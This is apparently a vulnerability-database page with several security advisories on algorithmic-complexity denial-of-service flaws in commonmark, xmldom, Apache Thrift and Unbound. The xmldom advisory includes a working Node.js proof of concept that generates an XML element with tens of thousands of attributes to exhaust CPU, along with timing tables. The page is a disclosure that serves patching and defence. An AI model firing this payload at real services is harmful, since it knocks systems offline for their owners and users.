      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7X8H-JG2X-PJM5

Vulnerability from github – Published: 2026-09-07 15:33 – Updated: 2026-09-07 15:33
VLAI
Details

The league/commonmark (thephpleague/commonmark) library in versions >= 1.5.0 and < 2.9.1 contains quadratic parsing complexity in its SmartPunctExtension and AttributesExtension. When either extension is explicitly registered on the Environment (they are not enabled by default and are excluded from the standard CommonMark and GitHub-Flavored Markdown converters), an unauthenticated attacker can submit small, specially crafted Markdown documents — such as text alternating with unpaired quotes, contiguous runs of block-level attribute blocks, or repeated class attributes — to trigger disproportionate CPU consumption and cause a denial of service. Fixed in 2.9.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-86429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-07T13:20:42Z",
    "severity": "HIGH"
  },
  "details": "The league/commonmark (thephpleague/commonmark) library in versions \u003e= 1.5.0 and \u003c 2.9.1 contains quadratic parsing complexity in its SmartPunctExtension and AttributesExtension. When either extension is explicitly registered on the Environment (they are not enabled by default and are excluded from the standard CommonMark and GitHub-Flavored Markdown converters), an unauthenticated attacker can submit small, specially crafted Markdown documents \u2014 such as text alternating with unpaired quotes, contiguous runs of block-level attribute blocks, or repeated class attributes \u2014 to trigger disproportionate CPU consumption and cause a denial of service. Fixed in 2.9.1.",
  "id": "GHSA-7x8h-jg2x-pjm5",
  "modified": "2026-09-07T15:33:53Z",
  "published": "2026-09-07T15:33:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-jjv6-8j6v-6j52"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86429"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/commonmark-before-2.9.1-denial-of-service-via-smartpunct-and-attributes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8344-3JMQ-59R6

Vulnerability from github – Published: 2026-09-08 21:01 – Updated: 2026-09-08 21:01
VLAI
Summary
xmldom: Quadratic-time attribute deduplication
Details

Summary

xmldom builds the attribute collection of every parsed element by inserting attributes one at a time into a DOM NamedNodeMap. Each insertion first performs a linear scan of all already-inserted attributes to enforce the DOM uniqueness rule (no two attributes with the same qualified name / namespace+local-name). Parsing an element that carries M distinct attributes therefore costs 1 + 2 + … + M = O(M²) comparisons.

Because the trigger is simply "one element with many attributes", the attack payload is a fully well-formed XML document. No malformed markup, no error recovery, and no non-default parser options are involved — parsing completes silently with zero warning/error/fatalError events. An attacker who can submit a modest, highly compressible document (a single element with tens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU per request, enabling an unauthenticated denial of service.

This is distinct from the known quadratic-memory namespace-map issue: it burns CPU and it does not require any namespace declarations or nesting.

Details

The DOM content handler adds each attribute of a starting element by calling el.setAttributeNode(attr) in a loop:

// DOMHandler.startElement
for (var i = 0; i < len; i++) {
    var namespaceURI = attrs.getURI(i);
    var value = attrs.getValue(i);
    var qName = attrs.getQName(i);
    var attr = doc.createAttributeNS(namespaceURI, qName);
    attr.value = attr.nodeValue = value;
    el.setAttributeNode(attr);          // O(existing attrs) each — see below
}

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387

setAttributeNode delegates to NamedNodeMap.setNamedItem, which calls getNamedItemNS to look for an existing attribute with the same namespace URI and local name before appending:

setNamedItem: function (attr) {
    var el = attr.ownerElement;
    if (el && el !== this._ownerElement) {
        throw new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);
    }
    var oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan
    if (oldAttr === attr) {
        return attr;
    }
    _addNamedNode(this._ownerElement, this, attr, oldAttr);
    return oldAttr;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623

getNamedItemNS walks the whole list on every call:

getNamedItemNS: function (namespaceURI, localName) {
    if (!namespaceURI) {
        namespaceURI = null;
    }
    var i = 0;
    while (i < this.length) {
        var node = this[i];
        if (node.localName === localName && node.namespaceURI === namespaceURI) {
            return node;
        }
        i++;
    }
    return null;
},

https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715

For the i-th attribute the scan visits i-1 entries, so inserting M distinct attributes performs Θ(M²) comparisons. There is no hash index or set keyed by name; the map is a plain array-backed structure.

The same structure exists on 0.8.x. There setNamedItem dedups via getNamedItem(attr.nodeName) instead of getNamedItemNS, but that method is likewise a full linear scan, so the complexity is identical:

  • startElement loop / setAttributeNode: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176
  • setNamedItem → linear getNamedItem: https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308

The linear-scan NamedNodeMap predates the @xmldom/xmldom fork and is present unchanged in the unscoped xmldom package back to its earliest published release. In xmldom@0.1.0, parsing already inserts each attribute one at a time (DOMHandler.startElement loops calling setAttributeNSsetAttributeNodeNamedNodeMap.setNamedItem), and setNamedItem dedups by calling getNamedItemNS, which is a full linear while (i--) scan of the already-inserted attributes — the identical O(M²) structure. The whole unscoped line (0.1.00.6.0) is therefore affected; the earliest published tag (0.1.0) was verified to contain the per-insert linear dedup scan.

Proof of Concept

A single well-formed element with M distinct attributes. No malformed markup and no options:

'use strict';
var DOMParser = require('@xmldom/xmldom').DOMParser;

function buildDoc(m) {
    var parts = new Array(m);
    for (var i = 0; i < m; i++) parts[i] = 'a' + i + '="x"';
    return '<r ' + parts.join(' ') + '/>';   // <r a0="x" a1="x" ... a{M-1}="x"/>
}

for (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i < sizes.length; _i++) {
    var m = sizes[_i];
    var xml = buildDoc(m);
    var t0 = process.hrtime.bigint();
    var doc = new DOMParser().parseFromString(xml, 'text/xml');  // silent: no error events
    var ms = Number(process.hrtime.bigint() - t0) / 1e6;
    console.log(m + ' attrs, ' + xml.length + ' bytes -> ' + ms.toFixed(1) + ' ms; parsed=' +
        doc.documentElement.attributes.length);
}

Measured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the scaling is the load-bearing fact):

@xmldom/xmldom 0.9.10:

M (attributes) input bytes time (ms) ratio vs prev
2000 18,894 13.4
4000 38,894 38.7 ×2.9
8000 78,894 100.8 ×2.6
16000 164,894 406.2 ×4.0
32000 340,894 2149.5 ×5.3

@xmldom/xmldom 0.8.13:

M (attributes) input bytes time (ms)
2000 18,894 10.6
4000 38,894 19.9
8000 78,894 75.9
16000 164,894 657.7
32000 340,894 1643.2

xmldom (unscoped) 0.6.0: 4000 → 28.2 ms, 8000 → 131.8 ms, 16000 → 545.2 ms (≈ ×4 per doubling).

Time grows ≈ ×4 per doubling of M — quadratic. About 340 KB of well-formed input costs ~1.6–2.1 s of single-threaded CPU, and it keeps scaling: doubling the attribute count quadruples the cost. The document is trivially generated and compresses to a few kilobytes on the wire.

Impact

Unauthenticated, remotely triggerable denial of service against any service that parses attacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds; a handful of concurrent requests can saturate CPU and stall the process. Because the payload is a plain well-formed document (one element, many attributes), it passes any "must be well-formed" gate and reaches the parser before any application-level validation (e.g. schema checks or signature verification) can run. The payload is highly compressible, so it is effective over compressed transports.

Fix Applied

Replaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed index, so de-duplicating an element's attributes during parse is O(M) instead of O(M²) — a well-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute order and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking and independent of requireWellFormed; ships on both maintained versions.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.14"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@xmldom/xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0"
            },
            {
              "fixed": "0.8.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@xmldom/xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "0.9.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-83613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:01:31Z",
    "nvd_published_at": "2026-09-01T15:17:39Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nxmldom builds the attribute collection of every parsed element by inserting attributes one at a\ntime into a DOM `NamedNodeMap`. Each insertion first performs a **linear scan of all\nalready-inserted attributes** to enforce the DOM uniqueness rule (no two attributes with the same\nqualified name / namespace+local-name). Parsing an element that carries `M` distinct attributes\ntherefore costs `1 + 2 + \u2026 + M = O(M\u00b2)` comparisons.\n\nBecause the trigger is simply \"one element with many attributes\", the attack payload is a\n**fully well-formed XML document**. No malformed markup, no error recovery, and no non-default\nparser options are involved \u2014 parsing completes silently with zero `warning`/`error`/`fatalError`\nevents. An attacker who can submit a modest, highly compressible document (a single element with\ntens of thousands of attributes, ~340 KB uncompressed) can consume seconds of single-threaded CPU\nper request, enabling an unauthenticated denial of service.\n\nThis is distinct from the known quadratic-**memory** namespace-map issue: it burns **CPU** and it\ndoes not require any namespace declarations or nesting.\n\n## Details\n\nThe DOM content handler adds each attribute of a starting element by calling\n`el.setAttributeNode(attr)` in a loop:\n\n```js\n// DOMHandler.startElement\nfor (var i = 0; i \u003c len; i++) {\n\tvar namespaceURI = attrs.getURI(i);\n\tvar value = attrs.getValue(i);\n\tvar qName = attrs.getQName(i);\n\tvar attr = doc.createAttributeNS(namespaceURI, qName);\n\tattr.value = attr.nodeValue = value;\n\tel.setAttributeNode(attr);          // O(existing attrs) each \u2014 see below\n}\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L370-L387\n\n`setAttributeNode` delegates to `NamedNodeMap.setNamedItem`, which calls `getNamedItemNS` to look\nfor an existing attribute with the same namespace URI and local name before appending:\n\n```js\nsetNamedItem: function (attr) {\n\tvar el = attr.ownerElement;\n\tif (el \u0026\u0026 el !== this._ownerElement) {\n\t\tthrow new DOMException(DOMException.INUSE_ATTRIBUTE_ERR);\n\t}\n\tvar oldAttr = this.getNamedItemNS(attr.namespaceURI, attr.localName);  // linear scan\n\tif (oldAttr === attr) {\n\t\treturn attr;\n\t}\n\t_addNamedNode(this._ownerElement, this, attr, oldAttr);\n\treturn oldAttr;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L612-L623\n\n`getNamedItemNS` walks the whole list on every call:\n\n```js\ngetNamedItemNS: function (namespaceURI, localName) {\n\tif (!namespaceURI) {\n\t\tnamespaceURI = null;\n\t}\n\tvar i = 0;\n\twhile (i \u003c this.length) {\n\t\tvar node = this[i];\n\t\tif (node.localName === localName \u0026\u0026 node.namespaceURI === namespaceURI) {\n\t\t\treturn node;\n\t\t}\n\t\ti++;\n\t}\n\treturn null;\n},\n```\n\nhttps://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L702-L715\n\nFor the i-th attribute the scan visits `i-1` entries, so inserting `M` distinct attributes performs\n`\u0398(M\u00b2)` comparisons. There is no hash index or set keyed by name; the map is a plain\narray-backed structure.\n\nThe same structure exists on 0.8.x. There `setNamedItem` dedups via\n`getNamedItem(attr.nodeName)` instead of `getNamedItemNS`, but that method is likewise a full linear\nscan, so the complexity is identical:\n\n- `startElement` loop / `setAttributeNode`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L159-L176\n- `setNamedItem` \u2192 linear `getNamedItem`:\n  https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L286-L308\n\nThe linear-scan `NamedNodeMap` predates the `@xmldom/xmldom` fork and is present unchanged in the\nunscoped `xmldom` package back to its earliest published release. In `xmldom@0.1.0`, parsing already\ninserts each attribute one at a time (`DOMHandler.startElement` loops calling\n`setAttributeNS` \u2192 `setAttributeNode` \u2192 `NamedNodeMap.setNamedItem`), and `setNamedItem` dedups by\ncalling `getNamedItemNS`, which is a full linear `while (i--)` scan of the already-inserted\nattributes \u2014 the identical `O(M\u00b2)` structure. The whole unscoped line (`0.1.0` \u2026 `0.6.0`) is\ntherefore affected; the earliest published tag (`0.1.0`) was verified to contain the per-insert\nlinear dedup scan.\n\n## Proof of Concept\n\nA single well-formed element with `M` distinct attributes. No malformed markup and no options:\n\n```js\n\u0027use strict\u0027;\nvar DOMParser = require(\u0027@xmldom/xmldom\u0027).DOMParser;\n\nfunction buildDoc(m) {\n\tvar parts = new Array(m);\n\tfor (var i = 0; i \u003c m; i++) parts[i] = \u0027a\u0027 + i + \u0027=\"x\"\u0027;\n\treturn \u0027\u003cr \u0027 + parts.join(\u0027 \u0027) + \u0027/\u003e\u0027;   // \u003cr a0=\"x\" a1=\"x\" ... a{M-1}=\"x\"/\u003e\n}\n\nfor (var _i = 0, sizes = [2000, 4000, 8000, 16000, 32000]; _i \u003c sizes.length; _i++) {\n\tvar m = sizes[_i];\n\tvar xml = buildDoc(m);\n\tvar t0 = process.hrtime.bigint();\n\tvar doc = new DOMParser().parseFromString(xml, \u0027text/xml\u0027);  // silent: no error events\n\tvar ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\tconsole.log(m + \u0027 attrs, \u0027 + xml.length + \u0027 bytes -\u003e \u0027 + ms.toFixed(1) + \u0027 ms; parsed=\u0027 +\n\t\tdoc.documentElement.attributes.length);\n}\n```\n\nMeasured with Node.js v18.20.8 (wall-clock; absolute numbers vary by host, the **scaling** is the\nload-bearing fact):\n\n**`@xmldom/xmldom` 0.9.10:**\n\n| M (attributes) | input bytes | time (ms) | ratio vs prev |\n|---:|---:|---:|---:|\n| 2000  | 18,894  | 13.4   | \u2014     |\n| 4000  | 38,894  | 38.7   | \u00d72.9  |\n| 8000  | 78,894  | 100.8  | \u00d72.6  |\n| 16000 | 164,894 | 406.2  | \u00d74.0  |\n| 32000 | 340,894 | 2149.5 | \u00d75.3  |\n\n**`@xmldom/xmldom` 0.8.13:**\n\n| M (attributes) | input bytes | time (ms) |\n|---:|---:|---:|\n| 2000  | 18,894  | 10.6   |\n| 4000  | 38,894  | 19.9   |\n| 8000  | 78,894  | 75.9   |\n| 16000 | 164,894 | 657.7  |\n| 32000 | 340,894 | 1643.2 |\n\n**`xmldom` (unscoped) 0.6.0:** 4000 \u2192 28.2 ms, 8000 \u2192 131.8 ms, 16000 \u2192 545.2 ms (\u2248 \u00d74 per doubling).\n\nTime grows \u2248 \u00d74 per doubling of `M` \u2014 quadratic. About **340 KB of well-formed input costs ~1.6\u20132.1 s\nof single-threaded CPU**, and it keeps scaling: doubling the attribute count quadruples the cost.\nThe document is trivially generated and compresses to a few kilobytes on the wire.\n\n## Impact\n\nUnauthenticated, remotely triggerable denial of service against any service that parses\nattacker-influenced XML/HTML with xmldom. A single request holds one event-loop thread for seconds;\na handful of concurrent requests can saturate CPU and stall the process. Because the payload is a\nplain well-formed document (one element, many attributes), it passes any \"must be well-formed\" gate\nand reaches the parser before any application-level validation (e.g. schema checks or signature\nverification) can run. The payload is highly compressible, so it is effective over compressed\ntransports.\n\n## Fix Applied\n\nReplaced the per-insert linear duplicate scan on the parse-time dedup path with a name-keyed\nindex, so de-duplicating an element\u0027s attributes during parse is O(M) instead of O(M\u00b2) \u2014 a\nwell-formed-but-hostile attribute list can no longer wedge the parse. Behavior-preserving: attribute\norder and duplicate resolution (last value wins, first position kept) are byte-identical. Non-breaking\nand independent of `requireWellFormed`; ships on both maintained versions.",
  "id": "GHSA-8344-3jmq-59r6",
  "modified": "2026-09-08T21:01:31Z",
  "published": "2026-09-08T21:01:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-27p8-2357-5qqv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-8344-3jmq-59r6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83613"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/pull/1071"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/pull/1072"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/commit/2c548f200cfec991cd5846627ef8f03542309213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/commit/cfb09b5dbeb035fdfedc9f01e2bbaf226bf47cf3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xmldom/xmldom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "xmldom: Quadratic-time attribute deduplication"
}

GHSA-8CJ2-994R-9FPQ

Vulnerability from github – Published: 2026-07-27 12:31 – Updated: 2026-07-27 21:31
VLAI
Details

Inefficient Algorithmic Complexity, Allocation of Resources Without Limits or Throttling vulnerability in Apache Thrift Node.js bindings.

This issue affects Apache Thrift: before 0.24.0.

Users are recommended to upgrade to version 0.24.0, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-55968"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T12:16:45Z",
    "severity": "HIGH"
  },
  "details": "Inefficient Algorithmic Complexity, Allocation of Resources Without Limits or Throttling vulnerability in Apache Thrift Node.js bindings.\n\nThis issue affects Apache Thrift: before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.",
  "id": "GHSA-8cj2-994r-9fpq",
  "modified": "2026-07-27T21:31:21Z",
  "published": "2026-07-27T12:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55968"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/gxhhfyr6flr5vzr4qnxm13p6fc41qstp"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/24/39"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8F6W-8H24-FW66

Vulnerability from github – Published: 2026-05-20 12:30 – Updated: 2026-05-21 00:30
VLAI
Details

NLnet Labs Unbound up to and including version 1.25.0 has a vulnerability in the DNSSEC validator where the code path to consult the negative cache for DS records does not take into account the limit on NSEC3 hash calculations introduced in 1.19.1. This leads to degradation of service during the attack. An adversary that controls a DNSSEC signed zone can exploit this by signing NSEC3 records with acceptably high iterations for child delegations and querying a vulnerable Unbound. Unbound will keep performing the allowed hash calculations on the NSEC3 records and will not limit the work by the mitigation introduced in 1.19.1. As a side effect, a global lock for the negative cache will be held for the duration of the hashing, blocking other threads that need to consult the negative cache. Coordinated attacks could raise the vulnerability to denial of service. Unbound 1.25.1 contains a patch with a fix to bound the vulnerable code path with the existing limit for NSEC3 hash calculations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-42923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-20T10:16:27Z",
    "severity": "MODERATE"
  },
  "details": "NLnet Labs Unbound up to and including version 1.25.0 has a vulnerability in the DNSSEC validator where the code path to consult the negative cache for DS records does not take into account the limit on NSEC3 hash calculations introduced in 1.19.1. This leads to degradation of service during the attack. An adversary that controls a DNSSEC signed zone can exploit this by signing NSEC3 records with acceptably high iterations for child delegations and querying a vulnerable Unbound. Unbound will keep performing the allowed hash calculations on the NSEC3 records and will not limit the work by the mitigation introduced in 1.19.1. As a side effect, a global lock for the negative cache will be held for the duration of the hashing, blocking other threads that need to consult the negative cache. Coordinated attacks could raise the vulnerability to denial of service. Unbound 1.25.1 contains a patch with a fix to bound the vulnerable code path with the existing limit for NSEC3 hash calculations.",
  "id": "GHSA-8f6w-8h24-fw66",
  "modified": "2026-05-21T00:30:27Z",
  "published": "2026-05-20T12:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42923"
    },
    {
      "type": "WEB",
      "url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2026-42923.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.